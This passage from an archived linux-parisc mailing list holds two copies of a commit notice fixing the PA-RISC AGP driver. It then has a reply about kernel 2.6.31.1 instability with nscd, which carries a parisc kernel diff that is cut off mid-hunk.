X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Sat, 03 Oct 2009 05:29:36 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2230
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2230>

New commits:
commit 4ef8774cb45c3cf78c7a2d7a1a42f6aee7eda3b2
Author: Helge Deller <deller@gmx.de>
Date:   Sun Sep 27 21:13:04 2009 +0000

    agp: parisc-agp.c - use correct page_mask function
    
    This commit:
    
    Commit 2a4ceb6d3e6a566cb4a9dc8f974177f031d27cd7
    Author: David Woodhouse <David.Woodhouse@intel.com>
    Date:   Mon Jul 27 10:27:29 2009 +0100
         agp: Switch mask_memory() method to take address argument again, not page
    
    broke the parisc AGP driver (again). This patch fixes it.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Acked-by: Dave Airlie <airlied@redhat.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Sat, 3 Oct 2009 05:29:52 GMT
Lines: 25
Approved: news@gmane.org
Message-ID: <200910030529.n935Tqgj022900@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1254547801 19310 80.91.229.12 (3 Oct 2009 05:30:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2009 05:30:01 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 03 07:29:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MtxBp-0003fx-Tx
	for glpp-linux-parisc@lo.gmane.org; Sat, 03 Oct 2009 07:29:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751966AbZJCF3t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Oct 2009 01:29:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752804AbZJCF3t
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 3 Oct 2009 01:29:49 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:40670 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751966AbZJCF3s (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Oct 2009 01:29:48 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX18kqqo1k1HvVxbb+w5a66Kv7RMO0wNUK1o@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n935TqZO022901
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sat, 3 Oct 2009 05:29:52 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n935Tqgj022900
	for linux-parisc@vger.kernel.org; Sat, 3 Oct 2009 05:29:52 GMT
X-Virus-Scanned: ClamAV 0.93.3/9865/Sat Oct  3 02:45:19 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Sat, 03 Oct 2009 05:29:52 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2231
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2231>

New commits:
commit 4ef8774cb45c3cf78c7a2d7a1a42f6aee7eda3b2
Author: Helge Deller <deller@gmx.de>
Date:   Sun Sep 27 21:13:04 2009 +0000

    agp: parisc-agp.c - use correct page_mask function
    
    This commit:
    
    Commit 2a4ceb6d3e6a566cb4a9dc8f974177f031d27cd7
    Author: David Woodhouse <David.Woodhouse@intel.com>
    Date:   Mon Jul 27 10:27:29 2009 +0100
         agp: Switch mask_memory() method to take address argument again, not page
    
    broke the parisc AGP driver (again). This patch fixes it.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Acked-by: Dave Airlie <airlied@redhat.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.31.1 + nscd still a bad combo
Date: Sun, 4 Oct 2009 13:09:47 -0400
Organization: nrc.ca
Lines: 1082
Approved: news@gmane.org
Message-ID: <20091004170946.GA7964@hiauly1.hia.nrc.ca>
References: <7d01f9f00910040725t1813c080w5c634283f53efe45@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="mP3DRpeJDSE+ciuQ"
X-Trace: ger.gmane.org 1254680234 20015 80.91.229.12 (4 Oct 2009 18:17:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Oct 2009 18:17:14 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 04 20:17:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MuUbR-0004Ya-MP
	for glpp-linux-parisc@lo.gmane.org; Sun, 04 Oct 2009 19:10:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756877AbZJDRK3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Oct 2009 13:10:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756912AbZJDRK3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 4 Oct 2009 13:10:29 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2385 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756877AbZJDRK0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Oct 2009 13:10:26 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B8ED54FA3; Sun,  4 Oct 2009 13:09:48 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <7d01f9f00910040725t1813c080w5c634283f53efe45@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2232
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2232>


--mP3DRpeJDSE+ciuQ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Sun, 04 Oct 2009, Thibaut VARENE wrote:

> Hi
> 
> Just FWIW, I'm stress testing 2.6.31.1 + a couple recent patches
> cherry-picked from kyle's tree on my A500 running Debian Sid.
> Running dist-upgrade I had the following random errors:

I tested 2.6.31.1 on my rp3440 (PA8800).  I first tried a SMP
build.  I encountered user space segmentation faults almost immediately.
I then reverted to a UP build.  I tried a couple of times to build
GCC but both failed with segv.

On the otherhand, a UP build of 2.6.30.8 with the attached diff
is stable.  2.6.30.y has been solid on this machine since about
2.6.30.4.  I also haven't had any problems with it on my c3750.

I probably should try a SMP build with 2.6.30.8, but I don't think
the memory management issues are fixed.

I am using Debian GCC 4.4 for the 2.6.30.y builds.

> dpkg: unrecoverable fatal error, aborting:
>  syntax error: unknown group 'root' in statoverride file
> E: Sub-process /usr/bin/dpkg returned an error code (2)

Saw the same, and also had user/group lookup problems with sshd.
I first noticed these errors with 32-bit kernel on c3750.

> Then I remembered I have a pam-ldap setup with nscd enabled, turned
> off nscd and tried again. Everything went fine, save for the process
> being apparently a bit slower than usual (network lookups are probably
> the culprit there).
> 
> What's surprising is that the very same nscd daemon running on
> 2.6.22.19+jda doesn't expose such weird behaviour...

Exactly, so it is almost certainly a kernel problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--mP3DRpeJDSE+ciuQ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="diff-2.6.30.y.d.12"

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index ada3e53..7d5ebf1 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -222,13 +222,13 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
 
-#define atomic_add(i,v)	((void)(__atomic_add_return( ((int)(i)),(v))))
-#define atomic_sub(i,v)	((void)(__atomic_add_return(-((int)(i)),(v))))
+#define atomic_add(i,v)	((void)(__atomic_add_return( (i),(v))))
+#define atomic_sub(i,v)	((void)(__atomic_add_return(-(i),(v))))
 #define atomic_inc(v)	((void)(__atomic_add_return(   1,(v))))
 #define atomic_dec(v)	((void)(__atomic_add_return(  -1,(v))))
 
-#define atomic_add_return(i,v)	(__atomic_add_return( ((int)(i)),(v)))
-#define atomic_sub_return(i,v)	(__atomic_add_return(-((int)(i)),(v)))
+#define atomic_add_return(i,v)	(__atomic_add_return( (i),(v)))
+#define atomic_sub_return(i,v)	(__atomic_add_return(-(i),(v)))
 #define atomic_inc_return(v)	(__atomic_add_return(   1,(v)))
 #define atomic_dec_return(v)	(__atomic_add_return(  -1,(v)))
 
diff --git a/arch/parisc/include/asm/dma.h b/arch/parisc/include/asm/dma.h
index 31ad0f0..f7a18f9 100644
--- a/arch/parisc/include/asm/dma.h
+++ b/arch/parisc/include/asm/dma.h
@@ -1,5 +1,4 @@
-/* $Id: dma.h,v 1.2 1999/04/27 00:46:18 deller Exp $
- * linux/include/asm/dma.h: Defines for using and allocating dma channels.
+/* asm/dma.h: Defines for using and allocating dma channels.
  * Written by Hennus Bergman, 1992.
  * High DMA channel support & info by Hannu Savolainen
  * and John Boyd, Nov. 1992.
diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index ef26b00..a3c3419 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -807,8 +807,10 @@
 #define __NR_dup3		(__NR_Linux + 312)
 #define __NR_pipe2		(__NR_Linux + 313)
 #define __NR_inotify_init1	(__NR_Linux + 314)
+#define __NR_preadv		(__NR_Linux + 315)
+#define __NR_pwritev		(__NR_Linux + 316)
 
-#define __NR_Linux_syscalls	(__NR_inotify_init1 + 1)
+#define __NR_Linux_syscalls	(__NR_pwritev + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index ae3e70c..e552e54 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -553,7 +553,7 @@
 	 * on most of those machines only handles cache transactions.
 	 */
 	extrd,u,*=	\pte,_PAGE_NO_CACHE_BIT+32,1,%r0
-	depi		1,12,1,\prot
+	depdi		1,12,1,\prot
 
 	/* Drop prot bits and convert to page addr for iitlbt and idtlbt */
 	convert_for_tlb_insert20 \pte
diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index bd1f7f1..bb3195b 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -170,23 +170,27 @@ static void __init pagezero_memconfig(void)
 static int __init 
 pat_query_module(ulong pcell_loc, ulong mod_index)
 {
-	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
+	pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;
 	unsigned long bytecnt;
 	unsigned long temp;	/* 64-bit scratch value */
 	long status;		/* PDC return value status */
 	struct parisc_device *dev;
 
+	pa_pdc_cell = kmalloc(sizeof (*pa_pdc_cell), GFP_KERNEL);
+	if (!pa_pdc_cell)
+		panic("couldn't allocate memory for PDC_PAT_CELL!");
+
 	/* return cell module (PA or Processor view) */
 	status = pdc_pat_cell_module(&bytecnt, pcell_loc, mod_index,
-				     PA_VIEW, &pa_pdc_cell);
+				     PA_VIEW, pa_pdc_cell);
 
 	if (status != PDC_OK) {
 		/* no more cell modules or error */
 		return status;
 	}
 
-	temp = pa_pdc_cell.cba;
-	dev = alloc_pa_dev(PAT_GET_CBA(temp), &pa_pdc_cell.mod_path);
+	temp = pa_pdc_cell->cba;
+	dev = alloc_pa_dev(PAT_GET_CBA(temp), &(pa_pdc_cell->mod_path));
 	if (!dev) {
 		return PDC_OK;
 	}
@@ -203,8 +207,8 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 
 	/* save generic info returned from the call */
 	/* REVISIT: who is the consumer of this? not sure yet... */
-	dev->mod_info = pa_pdc_cell.mod_info;	/* pass to PAT_GET_ENTITY() */
-	dev->pmod_loc = pa_pdc_cell.mod_location;
+	dev->mod_info = pa_pdc_cell->mod_info;	/* pass to PAT_GET_ENTITY() */
+	dev->pmod_loc = pa_pdc_cell->mod_location;
 
 	register_parisc_device(dev);	/* advertise device */
 
@@ -216,14 +220,14 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 
 	case PAT_ENTITY_PROC:
 		printk(KERN_DEBUG "PAT_ENTITY_PROC: id_eid 0x%lx\n",
-			pa_pdc_cell.mod[0]);
+			pa_pdc_cell->mod[0]);
 		break;
 
 	case PAT_ENTITY_MEM:
 		printk(KERN_DEBUG 
 			"PAT_ENTITY_MEM: amount 0x%lx min_gni_base 0x%lx min_gni_len 0x%lx\n",
-			pa_pdc_cell.mod[0], pa_pdc_cell.mod[1], 
-			pa_pdc_cell.mod[2]);
+			pa_pdc_cell->mod[0], pa_pdc_cell->mod[1], 
+			pa_pdc_cell->mod[2]);
 		break;
 	case PAT_ENTITY_CA:
 		printk(KERN_DEBUG "PAT_ENTITY_CA: %ld\n", pcell_loc);
@@ -243,23 +247,26 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
  print_ranges:
 		pdc_pat_cell_module(&bytecnt, pcell_loc, mod_index,
 				    IO_VIEW, &io_pdc_cell);
-		printk(KERN_DEBUG "ranges %ld\n", pa_pdc_cell.mod[1]);
-		for (i = 0; i < pa_pdc_cell.mod[1]; i++) {
+		printk(KERN_DEBUG "ranges %ld\n", pa_pdc_cell->mod[1]);
+		for (i = 0; i < pa_pdc_cell->mod[1]; i++) {
 			printk(KERN_DEBUG 
 				"  PA_VIEW %ld: 0x%016lx 0x%016lx 0x%016lx\n", 
-				i, pa_pdc_cell.mod[2 + i * 3],	/* type */
-				pa_pdc_cell.mod[3 + i * 3],	/* start */
-				pa_pdc_cell.mod[4 + i * 3]);	/* finish (ie end) */
+				i, pa_pdc_cell->mod[2 + i * 3],	/* type */
+				pa_pdc_cell->mod[3 + i * 3],	/* start */
+				pa_pdc_cell->mod[4 + i * 3]);	/* finish (ie end) */
 			printk(KERN_DEBUG 
 				"  IO_VIEW %ld: 0x%016lx 0x%016lx 0x%016lx\n", 
-				i, io_pdc_cell.mod[2 + i * 3],	/* type */
-				io_pdc_cell.mod[3 + i * 3],	/* start */
-				io_pdc_cell.mod[4 + i * 3]);	/* finish (ie end) */
+				i, io_pdc_cell->mod[2 + i * 3],	/* type */
+				io_pdc_cell->mod[3 + i * 3],	/* start */
+				io_pdc_cell->mod[4 + i * 3]);	/* finish (ie end) */
 		}
 		printk(KERN_DEBUG "\n");
 		break;
 	}
 #endif /* DEBUG_PAT */
+
+	kfree(pa_pdc_cell);
+
 	return PDC_OK;
 }
 
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 4ea4229..5dc6cc1 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -120,7 +120,7 @@ int cpu_check_affinity(unsigned int irq, const struct cpumask *dest)
 	if (CHECK_IRQ_PER_CPU(irq)) {
 		/* Bad linux design decision.  The mask has already
 		 * been set; we must reset it */
-		cpumask_setall(&irq_desc[irq].affinity);
+		cpumask_setall(irq_desc[irq].affinity);
 		return -EINVAL;
 	}
 
@@ -138,11 +138,11 @@ static void cpu_set_affinity_irq(unsigned int irq, const struct cpumask *dest)
 	if (cpu_dest < 0)
 		return;
 
-	cpumask_copy(&irq_desc[irq].affinity, dest);
+	cpumask_copy(irq_desc[irq].affinity, dest);
 }
 #endif
 
-static struct hw_interrupt_type cpu_interrupt_type = {
+static struct irq_chip cpu_interrupt_type = {
 	.typename	= "CPU",
 	.startup	= cpu_startup_irq,
 	.shutdown	= cpu_disable_irq,
@@ -297,7 +297,7 @@ int txn_alloc_irq(unsigned int bits_wide)
 unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 {
 #ifdef CONFIG_SMP
-	cpumask_copy(&irq_desc[irq].affinity, cpumask_of(cpu));
+	cpumask_copy(irq_desc[irq].affinity, cpumask_of(cpu));
 #endif
 
 	return per_cpu(cpu_data, cpu).txn_addr;
@@ -354,7 +354,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	irq = eirr_to_irq(eirr_val);
 
 #ifdef CONFIG_SMP
-	cpumask_copy(&dest, &irq_desc[irq].affinity);
+	cpumask_copy(&dest, irq_desc[irq].affinity);
 	if (CHECK_IRQ_PER_CPU(irq_desc[irq].status) &&
 	    !cpu_isset(smp_processor_id(), dest)) {
 		int cpu = first_cpu(dest);
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index ecd1c50..b57ffdd 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -86,8 +86,12 @@
  * the bottom of the table, which has a maximum signed displacement of
  * 0x3fff; however, since we're only going forward, this becomes
  * 0x1fff, and thus, since each GOT entry is 8 bytes long we can have
- * at most 1023 entries */
-#define MAX_GOTS	1023
+ * at most 1023 entries.
+ * To overcome this 14bit displacement with some kernel modules, we'll
+ * use instead the unusal 16bit displacement method (see reassemble_16a)
+ * which gives us a maximum positive displacement of 0x7fff, and as such 
+ * allows us to allocate up to 4095 GOT entries. */
+#define MAX_GOTS	4095
 
 /* three functions to determine where in the module core
  * or init pieces the location is */
@@ -145,12 +149,40 @@ struct stub_entry {
 /* The reassemble_* functions prepare an immediate value for
    insertion into an opcode. pa-risc uses all sorts of weird bitfields
    in the instruction to hold the value.  */
+static inline int sign_unext (int x, int len)
+{
+	int len_ones;
+
+	len_ones = (1 << len) - 1;
+	return x & len_ones;
+}
+
+static inline int low_sign_unext(int x, int len)
+{
+	int sign, temp;
+
+	sign = (x >> (len-1)) & 1;
+	temp = sign_unext (x, len-1);
+	return (temp << 1) | sign;
+}
+
 static inline int reassemble_14(int as14)
 {
 	return (((as14 & 0x1fff) << 1) |
 		((as14 & 0x2000) >> 13));
 }
 
+static inline int reassemble_16a(int as16)
+{
+	int s, t;
+
+	/* Unusual 16-bit encoding, for wide mode only.  */
+	t = (as16 << 1) & 0xffff;
+	s = (as16 & 0x8000);
+	return (t ^ s ^ (s >> 1)) | (s >> 15);
+}
+
+
 static inline int reassemble_17(int as17)
 {
 	return (((as17 & 0x10000) >> 16) |
@@ -409,6 +441,7 @@ static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
 	enum elf_stub_type stub_type, Elf_Addr loc0, unsigned int targetsec)
 {
 	struct stub_entry *stub;
+	int d;
 
 	/* initialize stub_offset to point in front of the section */
 	if (!me->arch.section[targetsec].stub_offset) {
@@ -462,12 +495,19 @@ static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
  */
 	switch (stub_type) {
 	case ELF_STUB_GOT:
-		stub->insns[0] = 0x537b0000;	/* ldd 0(%dp),%dp	*/
+		d = get_got(me, value, addend);
+		if (d <= 15) {
+			/* Format 5 */
+			stub->insns[0] = 0x0f6010db; /* ldd 0(%dp),%dp	*/
+			stub->insns[0] |= low_sign_unext(d, 5) << 16;
+		} else {
+			/* Format 3 */
+			stub->insns[0] = 0x537b0000; /* ldd 0(%dp),%dp	*/
+			stub->insns[0] |= reassemble_16a(d);
+		}
 		stub->insns[1] = 0x53610020;	/* ldd 10(%dp),%r1	*/
 		stub->insns[2] = 0xe820d000;	/* bve (%r1)		*/
 		stub->insns[3] = 0x537b0030;	/* ldd 18(%dp),%dp	*/
-
-		stub->insns[0] |= reassemble_14(get_got(me, value, addend) & 0x3fff);
 		break;
 	case ELF_STUB_MILLI:
 		stub->insns[0] = 0x20200000;	/* ldil 0,%r1		*/
@@ -855,7 +895,7 @@ int module_finalize(const Elf_Ehdr *hdr,
 	 * ourselves */
 	for (i = 1; i < hdr->e_shnum; i++) {
 		if(sechdrs[i].sh_type == SHT_SYMTAB
-		   && (sechdrs[i].sh_type & SHF_ALLOC)) {
+		   && (sechdrs[i].sh_flags & SHF_ALLOC)) {
 			int strindex = sechdrs[i].sh_link;
 			/* FIXME: AWFUL HACK
 			 * The cast is to drop the const from
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 6936386..f7064ab 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -1,5 +1,4 @@
-/* $Id: pci.c,v 1.6 2000/01/29 00:12:05 grundler Exp $
- *
+/*
  * This file is subject to the terms and conditions of the GNU General Public
  * License.  See the file "COPYING" in the main directory of this archive
  * for more details.
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index e09d0f7..c8fb61e 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -1,5 +1,4 @@
-/*    $Id: processor.c,v 1.1 2002/07/20 16:27:06 rhirst Exp $
- *
+/*
  *    Initial setup-routines for HP 9000 based hardware.
  *
  *    Copyright (C) 1991, 1992, 1995  Linus Torvalds
@@ -121,22 +120,28 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 	if (is_pdc_pat()) {
 		ulong status;
 		unsigned long bytecnt;
-	        pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
+	        pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;
 #undef USE_PAT_CPUID
 #ifdef USE_PAT_CPUID
 		struct pdc_pat_cpu_num cpu_info;
 #endif
 
+		pa_pdc_cell = kmalloc(sizeof (*pa_pdc_cell), GFP_KERNEL);
+		if (!pa_pdc_cell)
+			panic("couldn't allocate memory for PDC_PAT_CELL!");
+
 		status = pdc_pat_cell_module(&bytecnt, dev->pcell_loc,
-			dev->mod_index, PA_VIEW, &pa_pdc_cell);
+			dev->mod_index, PA_VIEW, pa_pdc_cell);
 
 		BUG_ON(PDC_OK != status);
 
 		/* verify it's the same as what do_pat_inventory() found */
-		BUG_ON(dev->mod_info != pa_pdc_cell.mod_info);
-		BUG_ON(dev->pmod_loc != pa_pdc_cell.mod_location);
+		BUG_ON(dev->mod_info != pa_pdc_cell->mod_info);
+		BUG_ON(dev->pmod_loc != pa_pdc_cell->mod_location);
+
+		txn_addr = pa_pdc_cell->mod[0];   /* id_eid for IO sapic */
 
-		txn_addr = pa_pdc_cell.mod[0];   /* id_eid for IO sapic */
+		kfree(pa_pdc_cell);
 
 #ifdef USE_PAT_CPUID
 /* We need contiguous numbers for cpuid. Firmware's notion
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 82131ca..cb71f3d 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -1,5 +1,4 @@
-/*    $Id: setup.c,v 1.8 2000/02/02 04:42:38 prumpf Exp $
- *
+/*
  *    Initial setup-routines for HP 9000 based hardware.
  *
  *    Copyright (C) 1991, 1992, 1995  Linus Torvalds
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 0838155..7488cfd 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -179,68 +179,6 @@ asmlinkage long sys32_sched_rr_get_interval(pid_t pid,
 	return ret;
 }
 
-/*** copied from mips64 ***/
-/*
- * Ooo, nasty.  We need here to frob 32-bit unsigned longs to
- * 64-bit unsigned longs.
- */
-
-static inline int
-get_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
-{
-	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
-	if (ufdset) {
-		unsigned long odd;
-
-		if (!access_ok(VERIFY_WRITE, ufdset, n*sizeof(u32)))
-			return -EFAULT;
-
-		odd = n & 1UL;
-		n &= ~1UL;
-		while (n) {
-			unsigned long h, l;
-			__get_user(l, ufdset);
-			__get_user(h, ufdset+1);
-			ufdset += 2;
-			*fdset++ = h << 32 | l;
-			n -= 2;
-		}
-		if (odd)
-			__get_user(*fdset, ufdset);
-	} else {
-		/* Tricky, must clear full unsigned long in the
-		 * kernel fdset at the end, this makes sure that
-		 * actually happens.
-		 */
-		memset(fdset, 0, ((n + 1) & ~1)*sizeof(u32));
-	}
-	return 0;
-}
-
-static inline void
-set_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
-{
-	unsigned long odd;
-	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
-
-	if (!ufdset)
-		return;
-
-	odd = n & 1UL;
-	n &= ~1UL;
-	while (n) {
-		unsigned long h, l;
-		l = *fdset++;
-		h = l >> 32;
-		__put_user(l, ufdset);
-		__put_user(h, ufdset+1);
-		ufdset += 2;
-		n -= 2;
-	}
-	if (odd)
-		__put_user(*fdset, ufdset);
-}
-
 struct msgbuf32 {
     int mtype;
     char mtext[1];
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 03b9a01..6a62961 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -413,6 +413,8 @@
 	ENTRY_SAME(dup3)
 	ENTRY_SAME(pipe2)
 	ENTRY_SAME(inotify_init1)
+	ENTRY_COMP(preadv)
+	ENTRY_COMP(pwritev)
 
 	/* Nothing yet */
 
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index d4dd056..a79c6f9 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -56,9 +56,9 @@ static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
  */
 irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 {
-	unsigned long now;
+	unsigned long now, now2;
 	unsigned long next_tick;
-	unsigned long cycles_elapsed, ticks_elapsed;
+	unsigned long cycles_elapsed, ticks_elapsed = 1;
 	unsigned long cycles_remainder;
 	unsigned int cpu = smp_processor_id();
 	struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
@@ -71,44 +71,24 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 	/* Initialize next_tick to the expected tick time. */
 	next_tick = cpuinfo->it_value;
 
-	/* Get current interval timer.
-	 * CR16 reads as 64 bits in CPU wide mode.
-	 * CR16 reads as 32 bits in CPU narrow mode.
-	 */
+	/* Get current cycle counter (Control Register 16). */
 	now = mfctl(16);
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 5) < cpt) {
+	if ((cycles_elapsed >> 6) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
 		cycles_remainder = cycles_elapsed;
-		ticks_elapsed = 1;
 		while (cycles_remainder > cpt) {
 			cycles_remainder -= cpt;
 			ticks_elapsed++;
 		}
 	} else {
+		/* TODO: Reduce this to one fdiv op */
 		cycles_remainder = cycles_elapsed % cpt;
-		ticks_elapsed = 1 + cycles_elapsed / cpt;
-	}
-
-	/* Can we differentiate between "early CR16" (aka Scenario 1) and
-	 * "long delay" (aka Scenario 3)? I don't think so.
-	 *
